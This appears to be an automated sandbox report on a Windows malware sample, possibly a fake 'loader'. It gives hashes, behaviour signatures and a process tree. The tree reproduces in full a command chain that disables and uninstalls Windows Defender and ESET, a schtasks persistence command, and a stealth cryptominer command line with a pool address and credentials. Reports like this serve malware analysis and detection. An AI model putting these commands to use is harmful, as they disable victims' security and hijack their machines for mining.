Analysis
-
max time kernel
143s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
03-01-2024 15:19
Static task
static1
Behavioral task
behavioral1
Sample
3eaf5c311f690177a99c5ec95a22141f.exe
Resource
win7-20231215-en
General
-
Target
3eaf5c311f690177a99c5ec95a22141f.exe
-
Size
6.4MB
-
MD5
3eaf5c311f690177a99c5ec95a22141f
-
SHA1
c02da138a3a10b34b0f1bd6d621a086c23e267bf
-
SHA256
6d98a1918e9e369bd93004139d60fe0a4091fd922e2b6360e082b6393e41b33b
-
SHA512
bf842f8e5c660e1ee9ed27541334c1ba8b70e4e87d05ac83acc7dd1d26b420cd85c874a1668239f0e035a8748992bbdec2a2843e3e07d3c5398573b3c854e2e3
-
SSDEEP
196608:bKrD7Ptz/yNGti995FNIew3JfOFzOtNPxj:kPN/HmTZwEzODJ
Malware Config
Signatures
-
Stops running service(s) 3 TTPs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 19 freegeoip.app 17 freegeoip.app -
Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 4528 sc.exe 3780 sc.exe 5080 sc.exe 3144 sc.exe 1592 sc.exe 5016 sc.exe 1216 sc.exe 4568 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3204 schtasks.exe 768 schtasks.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\3eaf5c311f690177a99c5ec95a22141f.exe"C:\Users\Admin\AppData\Local\Temp\3eaf5c311f690177a99c5ec95a22141f.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\Desktop.exe"C:\Users\Admin\AppData\Local\Temp\Desktop.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\start.bat" "3⤵
-
C:\Program Files (x86)\CLoader__.exeCLoader__ -pimortale -dC:\Program Files (x86)4⤵
-
C:\Program\CLoader.exe"C:\Program\CLoader.exe"5⤵
-
C:\Program Files (x86)\CLoader_.exeCLoader_ -pimortale2 -dC:\Program Files (x86)4⤵
-
C:\Program\CLoader 12.5C.exe"C:\Program\CLoader 12.5C.exe"5⤵
-
C:\Program Files (x86)\CLoader___.exeCLoader___ -pimortale3 -dC:\Program Files (x86)4⤵
-
C:\Program\Loader.exe"C:\Program\Loader.exe"5⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Program'7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableArchiveScanning $true7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableBehaviorMonitoring $true7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableRealtimeMonitoring $true7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableScriptScanning $true7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableIOAVProtection $true7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -MAPSReporting Disabled7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend7⤵
-
C:\Windows\system32\sc.exesc stop WinDefend7⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Stop-Service WinDefend7⤵
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled7⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-Service WinDefend -StartupType Disabled7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Uninstall-WindowsFeature -Name Windows-Defender7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI7⤵
-
C:\Windows\system32\Dism.exeDism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet7⤵
-
C:\Users\Admin\AppData\Local\Temp\224BBD28-45EF-44DF-ACAF-189F06D7A3F3\dismhost.exeC:\Users\Admin\AppData\Local\Temp\224BBD28-45EF-44DF-ACAF-189F06D7A3F3\dismhost.exe {26AE7B60-7EE1-4BEF-87DF-9396E8BE8A98}8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWmic Product where name="Eset Security" call uninstall7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit6⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"6⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Program'8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableArchiveScanning $true8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableBehaviorMonitoring $true8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableRealtimeMonitoring $true8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableScriptScanning $true8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableIOAVProtection $true8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -MAPSReporting Disabled8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Stop-Service WinDefend8⤵
-
C:\Windows\system32\sc.exesc stop WinDefend8⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled8⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-Service WinDefend -StartupType Disabled8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Uninstall-WindowsFeature -Name Windows-Defender8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI8⤵
-
C:\Windows\system32\Dism.exeDism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet8⤵
-
C:\Users\Admin\AppData\Local\Temp\86ECC4A2-7EDB-4948-81A1-05624603B92B\dismhost.exeC:\Users\Admin\AppData\Local\Temp\86ECC4A2-7EDB-4948-81A1-05624603B92B\dismhost.exe {ECC9084C-831A-4B2D-8804-1252A3FB1B6C}9⤵
-
C:\Windows\System32\Wbem\WMIC.exeWmic Product where name="Eset Security" call uninstall8⤵
-
C:\Users\Admin\AppData\Roaming\Services.exe"C:\Users\Admin\AppData\Roaming\Services.exe"6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit7⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"7⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Program'9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableArchiveScanning $true9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableBehaviorMonitoring $true9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableRealtimeMonitoring $true9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableScriptScanning $true9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableIOAVProtection $true9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -MAPSReporting Disabled9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend9⤵
-
C:\Windows\system32\sc.exesc stop WinDefend9⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Stop-Service WinDefend9⤵
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled9⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-Service WinDefend -StartupType Disabled9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Uninstall-WindowsFeature -Name Windows-Defender9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI9⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6056254 --pass=Skeetv2 --cpu-max-threads-hint=30 --donate-level=5 --cinit-idle-wait=1 --cinit-idle-cpu=80 --cinit-stealth7⤵
-
C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -Dfile.encoding=UTF-8 -classpath "C:\Program\CLoader 12.5C.exe" org.develnext.jphp.ext.javafx.FXLauncher1⤵
-
C:\Windows\system32\icacls.exeC:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M2⤵
- Modifies file permissions
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Program'2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableArchiveScanning $true2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableBehaviorMonitoring $true2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableRealtimeMonitoring $true2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableScriptScanning $true2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -DisableIOAVProtection $true2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -MAPSReporting Disabled2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Stop-Service WinDefend2⤵
-
C:\Windows\system32\sc.exesc stop WinDefend2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled2⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-Service WinDefend -StartupType Disabled2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Uninstall-WindowsFeature -Name Windows-Defender2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI2⤵
-
C:\Windows\system32\Dism.exeDism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet2⤵
-
C:\Users\Admin\AppData\Local\Temp\E42B1893-CADC-4722-9253-9287B47E7451\dismhost.exeC:\Users\Admin\AppData\Local\Temp\E42B1893-CADC-4722-9253-9287B47E7451\dismhost.exe {10AA3A6E-61D4-4888-81A8-87FB107E589D}3⤵
-
C:\Windows\System32\Wbem\WMIC.exeWmic Product where name="Eset Security" call uninstall2⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program\CLoader 12.5C.exeFilesize
192KB
MD58a417b2f61cddb509d345d9152daa789
SHA1dbd0601cd74f2bef2b0f8a1fb6cc070c1725ecc9
SHA2566aa790826dae01c993031938bdf28b95a22b7cd7070758ca0a8d834cd0d5efbe
SHA512c034556f09973f584c7cbdc1d55855acb959be4e81d9f00daf8d95f63b7b5c46b4643316b56f480865dbd8f732986496153d0ad74168458c298a14404ce1c864
-
C:\Program\CLoader.exeFilesize
129KB
MD52fdeee71fc800bd249253a4c2fab67f7
SHA1af8f94dca5a4e8e3baf0e053a5f08137698ecfe8
SHA256dd4dd48aee8eb5f1e09179a8e49e00d690d9b553df489ef1332365a32ebbd56a
SHA512eaf01090ebd112e19356a15d991d5b547ec2455554f987bd8b2f287337efcd555ee24d011c7648f65ee31bd07fab5c4a2bbccc188d5989bcf567e9561f6854e1
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
C:\Users\Admin\AppData\Local\Temp\Desktop.exeFilesize
382KB
MD56475e593e0e4fa3b91778572b76deade
SHA145dce8dfe9d1d4c73969f0167f9b05e5972c7419
SHA2567fed2df10ac911b5d8d219409a6ca77ed8dec98a8940b5cdc9f698a8ad1d49c8
SHA512b9e39c310d9fd1919f8dcca7a2e0bdd6166a375c51bbb21a1dcae04a740302b5e6515d87c52ee8dabe06a0c9b87993dccc51f3a4236d1b372f9f01d6c11e32d8
-
C:\Users\Admin\AppData\Local\Temp\Desktop.exeFilesize
1024KB
MD5862210d9be8c8399495ef27f1c4b4a1e
SHA12d2f3306d05f5800d8e113b4cbca8a11dcadb652
SHA25629eed24ab8522e7e88984373f2727bcb4d17a0e91eefd0f994383c5e105557bf
SHA51239b742d17ae6e18bec19e051921cc218904292ee16fb8e5a080f9280ec142e7d9822e89a76d847632b6c2fee0d669f58048c87e595985d9561a765f7b61f3cbc
-
memory/1480-322-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-145-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-364-0x000001DBAF1B0000-0x000001DBAF1C0000-memory.dmpFilesize
64KB
-
memory/1480-365-0x000001DBAF1C0000-0x000001DBAF1D0000-memory.dmpFilesize
64KB
-
memory/1480-90-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-373-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-381-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-378-0x000001DBAF1A0000-0x000001DBAF1B0000-memory.dmpFilesize
64KB
-
memory/1480-113-0x000001DBAD4F0000-0x000001DBAD4F1000-memory.dmpFilesize
4KB
-
memory/1480-325-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-329-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-319-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-351-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-305-0x000001DBAD4F0000-0x000001DBAD4F1000-memory.dmpFilesize
4KB
-
memory/1480-131-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-360-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-252-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-256-0x000001DBAD4F0000-0x000001DBAD4F1000-memory.dmpFilesize
4KB
-
memory/1480-258-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-306-0x000001DBAD4F0000-0x000001DBAD4F1000-memory.dmpFilesize
4KB
-
memory/1480-303-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-267-0x000001DBAD4F0000-0x000001DBAD4F1000-memory.dmpFilesize
4KB
-
memory/1480-270-0x000001DBAD4F0000-0x000001DBAD4F1000-memory.dmpFilesize
4KB
-
memory/1480-296-0x000001DBAECD0000-0x000001DBAFCD0000-memory.dmpFilesize
16.0MB
-
memory/1480-272-0x000001DBAD4F0000-0x000001DBAD4F1000-memory.dmpFilesize
4KB
-
memory/1568-409-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/1568-402-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/1568-403-0x00000227FBB20000-0x00000227FBB30000-memory.dmpFilesize
64KB
-
memory/1568-404-0x00000227FBB20000-0x00000227FBB30000-memory.dmpFilesize
64KB
-
memory/1664-277-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/1664-40-0x0000000000850000-0x00000000008EC000-memory.dmpFilesize
624KB
-
memory/1664-41-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/1664-48-0x0000000002AB0000-0x0000000002AC0000-memory.dmpFilesize
64KB
-
memory/2108-437-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/2748-1960-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/2748-2014-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/2748-2011-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/2748-1968-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/2748-2013-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/2748-2016-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/2748-1969-0x00000000023D0000-0x00000000023F0000-memory.dmpFilesize
128KB
-
memory/2748-2015-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/2748-1966-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/3176-312-0x000002627C630000-0x000002627C640000-memory.dmpFilesize
64KB
-
memory/3176-313-0x000002627C630000-0x000002627C640000-memory.dmpFilesize
64KB
-
memory/3176-311-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/3176-321-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
